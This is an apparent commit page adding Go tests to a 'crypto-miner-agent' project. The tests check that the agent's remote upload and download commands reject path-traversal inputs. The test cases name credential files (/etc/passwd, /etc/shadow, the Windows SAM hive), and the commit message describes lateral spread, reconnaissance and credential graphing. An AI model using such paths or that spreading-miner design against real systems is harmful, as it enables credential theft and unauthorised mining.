Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
131
agent/client/client_upload_test.go
Normal file
131
agent/client/client_upload_test.go
Normal file
@@ -0,0 +1,131 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
type commandResult struct {
|
||||
action string
|
||||
success bool
|
||||
message string
|
||||
}
|
||||
|
||||
func captureCommandResult(t *testing.T, c *AgentClient) (done <-chan struct{}, result *commandResult) {
|
||||
t.Helper()
|
||||
ch := make(chan struct{})
|
||||
var mu sync.Mutex
|
||||
out := &commandResult{}
|
||||
c.commandResultHook = func(action string, success bool, message string) {
|
||||
mu.Lock()
|
||||
out.action = action
|
||||
out.success = success
|
||||
out.message = message
|
||||
mu.Unlock()
|
||||
close(ch)
|
||||
}
|
||||
t.Cleanup(func() { c.commandResultHook = nil })
|
||||
return ch, out
|
||||
}
|
||||
|
||||
func TestUploadCommandRejectsPathTraversal(t *testing.T) {
|
||||
data := base64.StdEncoding.EncodeToString([]byte("payload"))
|
||||
|
||||
cases := []struct {
|
||||
name string
|
||||
path string
|
||||
}{
|
||||
{name: "unix_relative", path: "../../etc/passwd"},
|
||||
{name: "windows_relative", path: `..\..\Windows\System32\config\sam`},
|
||||
{name: "embedded_traversal", path: "uploads/../../outside.txt"},
|
||||
{name: "absolute_with_traversal", path: "/var/log/../../etc/shadow"},
|
||||
}
|
||||
|
||||
for _, tc := range cases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
_, err := deploy.ResolveRemotePath(tc.path)
|
||||
if err == nil {
|
||||
t.Fatalf("ResolveRemotePath(%q) should reject traversal", tc.path)
|
||||
}
|
||||
if !strings.Contains(err.Error(), "path traversal") {
|
||||
t.Fatalf("ResolveRemotePath(%q) error = %q, want path traversal rejection", tc.path, err.Error())
|
||||
}
|
||||
|
||||
c := newTestClient(t)
|
||||
done, got := captureCommandResult(t, c)
|
||||
c.handleCommand("upload", 0, "", tc.path, data, "")
|
||||
<-done
|
||||
|
||||
if got.action != "upload" {
|
||||
t.Fatalf("action = %q, want upload", got.action)
|
||||
}
|
||||
if got.success {
|
||||
t.Fatalf("upload with %q should fail (success=true, message=%q)", tc.path, got.message)
|
||||
}
|
||||
if !strings.Contains(got.message, "path traversal") {
|
||||
t.Fatalf("message = %q, want path traversal error from ResolveRemotePath", got.message)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
func TestDownloadCommandRejectsPathTraversal(t *testing.T) {
|
||||
cases := []struct {
|
||||
name string
|
||||
path string
|
||||
}{
|
||||
{name: "unix_relative", path: "../../etc/passwd"},
|
||||
{name: "windows_relative", path: `..\..\Windows\System32\config\sam`},
|
||||
{name: "embedded_traversal", path: "uploads/../../outside.txt"},
|
||||
{name: "absolute_with_traversal", path: "/var/log/../../etc/shadow"},
|
||||
}
|
||||
|
||||
for _, tc := range cases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
_, err := deploy.ResolveRemotePath(tc.path)
|
||||
if err == nil {
|
||||
t.Fatalf("ResolveRemotePath(%q) should reject traversal", tc.path)
|
||||
}
|
||||
if !strings.Contains(err.Error(), "path traversal") {
|
||||
t.Fatalf("ResolveRemotePath(%q) error = %q, want path traversal rejection", tc.path, err.Error())
|
||||
}
|
||||
|
||||
c := newTestClient(t)
|
||||
done, got := captureCommandResult(t, c)
|
||||
c.handleCommand("download", 0, "", tc.path, "", "")
|
||||
<-done
|
||||
|
||||
if got.action != "download" {
|
||||
t.Fatalf("action = %q, want download", got.action)
|
||||
}
|
||||
if got.success {
|
||||
t.Fatalf("download with %q should fail (success=true, message=%q)", tc.path, got.message)
|
||||
}
|
||||
if !strings.Contains(got.message, "path traversal") {
|
||||
t.Fatalf("message = %q, want path traversal error from ResolveRemotePath", got.message)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
func TestUploadCommandAcceptsSafePath(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
dest := dir + "/notes.txt"
|
||||
data := base64.StdEncoding.EncodeToString([]byte("ok"))
|
||||
|
||||
c := newTestClient(t)
|
||||
done, got := captureCommandResult(t, c)
|
||||
c.handleCommand("upload", 0, "", dest, data, "")
|
||||
<-done
|
||||
|
||||
if !got.success {
|
||||
t.Fatalf("safe upload failed: %s", got.message)
|
||||
}
|
||||
if got.action != "upload" {
|
||||
t.Fatalf("action = %q, want upload", got.action)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user